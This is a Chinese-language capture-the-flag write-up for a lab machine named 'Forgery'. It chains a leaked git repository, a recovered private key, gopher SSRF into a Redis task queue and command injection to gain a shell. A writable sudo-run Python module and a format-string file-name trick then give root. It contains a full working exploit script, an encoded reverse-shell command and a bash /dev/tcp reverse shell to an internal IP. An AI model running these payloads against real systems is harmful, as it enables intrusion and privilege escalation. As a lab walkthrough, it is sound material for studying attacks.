

Forgery

端口扫描

```
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
53/tcp    open  domain   syn-ack (generic dns response: SERVFAIL)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http      syn-ack Apache httpd 2.4.67 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_ http-server-header: Apache/2.4.67 (Debian)
|_ http-title: FoxOnFire Browser
| http-git:
|   192.168.0.74:80/.git/
|   Git repository found!
|   Repository description: Unnamed repository; edit this file 'description' to name
the...
|_   Last commit message: \xE5\xA4\x87\xE4\xBB\xBD\xE7\xA7\x81\xE9\x92\xA5
1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=6/21%Time=6A376BB2%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x02\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

扫到了 `git` 泄露，而且最后一次的提交信息是“备份私钥”

```
git-dumper http://192.168.0.74/.git repo
```

里头有80端口的源码，能看到处理的逻辑是把传入的链接推入 Redis 的队列，把 `worker` 的返回回写

```
<?php
if (!isset($_GET['url'])) {
    die(base64_encode("缺少参数: url"));
}
$url = escapeshellarg($_GET['url']); // 清洗url参数 防参数/命令注入

// RSA-4096签名 防止请求伪造和中间人攻击
$PrivKey = openssl_pkey_get_private('file:///var/www/private.pem');
openssl_sign($url, $signature, $PrivKey, OPENSSL_ALGO_SHA256);

$requestID = uniqid("", true); // 生成唯一请求ID
$data = json_encode([
    'id' => $requestID,
    'url' => $url,
    'sig' => base64_encode($signature)
]);
```

```

// 利用Redis队列优化体验
// 1. 避免并发造成资源高消耗
// 2. 遵循最小权限原则 传递给受限进程执行剩余逻辑
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->lPush('URLqueue', $data);

$timeout = 10;
$interval = 0.1;
$waited = 0;
// 每0.1秒检查结果是否传回
while ($waited < $timeout) {
    $result = $redis->get($requestID);
    if ($result) {
        // 删除结果key
        $redis->del($requestID);
        echo $result;
        exit;
    }
    usleep($interval * 1000000); // 微秒
    $waited += $interval;
}
die(base64_encode("请求超时"));
?>

```

worker 会检查签名，然后从 Redis 的队列取参数执行 curl 命令

```

#!/usr/bin/python3
import redis
import json
from base64 import b64encode, b64decode
import subprocess
import time
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
import sys
import CodeManager

# 连接Redis
r = redis.Redis(host='127.0.0.1', port=6379, db=0, decode_responses=True)
# 加载公钥
with open('/opt/handler/public.pem', 'r') as f:
    PubKey = RSA.import_key(f.read())

class Task:
    # 解析json
    def __init__(self, data):
        self.id = data['id']
        self.url = data['url']
        self.sig = b64decode(data['sig'])

```

```

# 验证签名 返回签名是否有效
def SignatureValidation(self):
    try:
        pkcs1_15.new(PubKey).verify(SHA256.new(self.url.encode('utf-8')), self.sig)
        return True
    except:
        return False

# 处理URL 返回stdout
def __getitem__(self, cmd):
    proc = subprocess.run(cmd.format(url=self.url), shell=True, capture_output=True)
    return b64encode(proc.stdout).decode('utf-8')

# 测试类初始化正常
data = {"id":0, "url":"127.0.0.1"}
task = Task(data)

# 源码检查 参数传递安装路径 默认值"/opt/handler/"
if sys.argv[1] == "check":
    try:
        InstallDir = sys.argv[2]
    except:
        InstallDir = "/opt/handler/"
    CodeManager.check(InstallDir)
    sys.exit()

while True:
    try:
        RequestData = r.brpop('URLqueue', timeout=1)
        if RequestData:
            task = Task(json.loads(RequestData[1])) # 解析请求
            if not task.SignatureValidation(): # 检查签名
                message = "签名无效"
                r.setex(ReqID, 10, b64encode(message.encode('utf-8')))
                continue
            result = task["curl -s --max-time 1 --url {url}"]
            r.setex(task.id, 10, result) # 传回结果
        else:
            continue
    except:
        time.sleep(5)

```

直接用 `api.php` 命令注入会被 `escapeshellarg` 单引号包住；但 `gopher` 仍会被正常访问，所以可以借 `handler` 的 `SSRF` 写 `Redis` 队列。写进去的新任务由我们用私钥签名，且 `URL` 未经过 `PHP` 转义，`handler` 消费它时就触发 `RCE`

发现签名藏在了 `dangling objects`

```

git fsck --full --no-reflogs --unreachable
git cat-file -p a6602366d7da9f05791091eb1829273b0ff62ec1 > private.pem

```

让ai帮忙写了脚本

```

#!/usr/bin/env python3
import base64, json, sys, time, urllib.parse, subprocess, os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256

PRIV = 'private.pem'
TARGET = os.environ.get('TARGET', 'http://192.168.0.74/api.php')

def sign(s: str) -> str:
    key = RSA.import_key(open(PRIV, 'rb').read())
    h = SHA256.new(s.encode('utf-8'))
    return base64.b64encode(pkcs1_15.new(key).sign(h)).decode()

def resp_array(parts):
    out = f"*{len(parts)}\r\n".encode()
    for p in parts:
        if isinstance(p, str):
            p=p.encode()
        out += b'$' + str(len(p)).encode() + b'\r\n' + p + b'\r\n'
    return out

def make_gopher(redis_payload: bytes):
    # curl gopher sends selector after /_ URL-decoded to TCP service
    return 'gopher://127.0.0.1:6379/_ ' + urllib.parse.quote_from_bytes(redis_payload,
safe='')

def enqueue_url(mal_url: str, task_id=None):
    if task_id is None:
        task_id='pwn'+str(int(time.time()*1000))
    task = {'id': task_id, 'url': mal_url, 'sig': sign(mal_url)}
    js = json.dumps(task, separators=(',', ':'))
    payload = resp_array(['LPUSH', 'URLqueue', js])
    return task_id, js, make_gopher(payload)

def trigger(mal_url: str):
    tid, js, gopher = enqueue_url(mal_url)
    print('[task_id]', tid)
    print('[json]', js)
    print('[gopher_len]', len(gopher))
    r = subprocess.run(['curl', '--no-proxy', '*', '-s', '--max-time', '12', '--get', '--data-urlencode', 'url='+gopher, TARGET], capture_output=True, text=True)
    print('[api_status]', r.returncode, 'stdout_len', len(r.stdout), 'stderr',
r.stderr[:200])
    # show decoded initial response if possible
    try:
        print('[api_decoded]', base64.b64decode(r.stdout).decode('utf-8', 'replace')[:500])
    except Exception:
        print('[api_raw]', r.stdout[:500])
    return tid

if __name__ == '__main__':

```

```
if len(sys.argv) < 2:
    print(f'usage: {sys.argv[0]} <malicious-url-string>')
    sys.exit(1)
trigger(sys.argv[1])
```

弹 `shell`

```
python3 exp.py "http://127.0.0.1;printf
KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjE0Mi80NDQ0IDA+JjEpICY=Ibase64 -dlbash"
```

上来以后发现 `/etc/passwd` 里 `yepian` 的密码字段为空, 但是没有 `su`

查看 `/etc/ssh/sshd_config`

```
PasswordAuthentication yes
PermitEmptyPasswords yes
UsePAM yes

Match Group banned
    X11Forwarding no
    AllowTcpForwarding no
    ForceCommand bash /opt/BanRestrict
```

发现有个 `banned` 组, 而且 `yepian` 就在这个组里

```
banned:x:1001:yepian
```

查看 `/opt/BanRestrict`

```
= 你已被服务器封禁 =
封禁时长: 3650天
执行人: root
理由: 泄漏项目机密 鉴于主动清除含敏感信息的commit 从封禁一辈子改为3650天
如有异议 请联系管理员

违规证据已固定 ~/.bash_history
git add private.pem
git commit -m "备份私钥"
git filter-branch --force --index-filter 'git rm --cached --ignore-unmatch private.pem' --
tree-filter 'rm -f private.pem' -- --all
git reflog expire --expire=now --all
rm -rf .git/refs/original
rm -rf .git/logs

即将退出登录
```

但是权限是777, 直接改, 然后空密码登录

```
cat > /opt/BanRestrict <<'EOF'
#!/bin/bash
bash
EOF
```

sudo -l , 发现有 (root) NOPASSWD: /usr/bin/python3 /opt/handler/main.py check * , 又要看回刚刚的 handler , 发现 check 分支需要一个目录, 然后由 CodeManager 处理

```
import CodeManager
...
if sys.argv[1] == "check":
    try:
        InstallDir = sys.argv[2]
    except:
        InstallDir = "/opt/handler/"
    CodeManager.check(InstallDir)
    sys.exit()
```

查看 /opt/handler/CodeManager.py , 其实后面我都没看了, yepian 是 dev 组目录可写, 直接王炸方案

```
cd /opt/handler
mv CodeManager.py /tmp/CodeManager.py.bak

cat > CodeManager.py <<'EOF'
import os

def check(path):
    os.system("bash -c 'bash -i >& /dev/tcp/192.168.0.142/6666 0>&1'")
EOF

sudo /usr/bin/python3 /opt/handler/main.py check /tmp
```

ai给的, 应该是预期解

关键在于 __str__ 先用 f-string 把 self.path 放进字符串, 再对整个结果调用 .format(FileInfo=FileInfo)

```
#!/usr/bin/python3
import hashlib
import os
from pathlib import Path
import sys

class FileInfo:
    # 获取文件信息
    def __init__(self, FilePath):
        self.path = Path(FilePath) # 文件路径
        self.Timestamp = os.path.getmtime(self.path) # 时间戳
        self.content = self.path.read_bytes() # 内容
        self.md5sum = hashlib.md5(self.content).hexdigest() # md5哈希
```

```

# 格式化输出文件信息
def __str__(self):
    return f'{self.path}:{self.Timestamp}:{self.md5sum}'.format(FileInfo=FileInfo)

files = [] # 存储目录下所有文件的信息
def check(path):
    TargetDir = Path(path)
    if not TargetDir.exists() or not TargetDir.is_dir():
        print("目录不存在或目标不是目录")
        sys.exit()

    for FilePath in TargetDir.rglob("*"): # 获取目录的所有文件
        if FilePath.is_file():
            file = FileInfo(FilePath) # 为每个文件创建FileInfo对象
            files.append(file) # 存入列表

    for file in files: # 逐个处理列表的对象
        print(file)

```

`CodeManager.check()` 在打印之前已经把所有 `FileInfo` 都 `append` 到全局 `files` 列表中，所以打印第一个文件时，`files[1].content` 已经存在，可以用文件名中的 `format expression` 泄露另一个文件的内容。

```

rm -rf /tmp/rootread
mkdir /tmp/rootread
ln -s /root/root.txt /tmp/rootread/0
ln -s /etc/hostname "/tmp/rootread/{FileInfo.__init__.__globals__[files][1].content}"
sudo /usr/bin/python3 /opt/handler/main.py check /tmp/rootread

```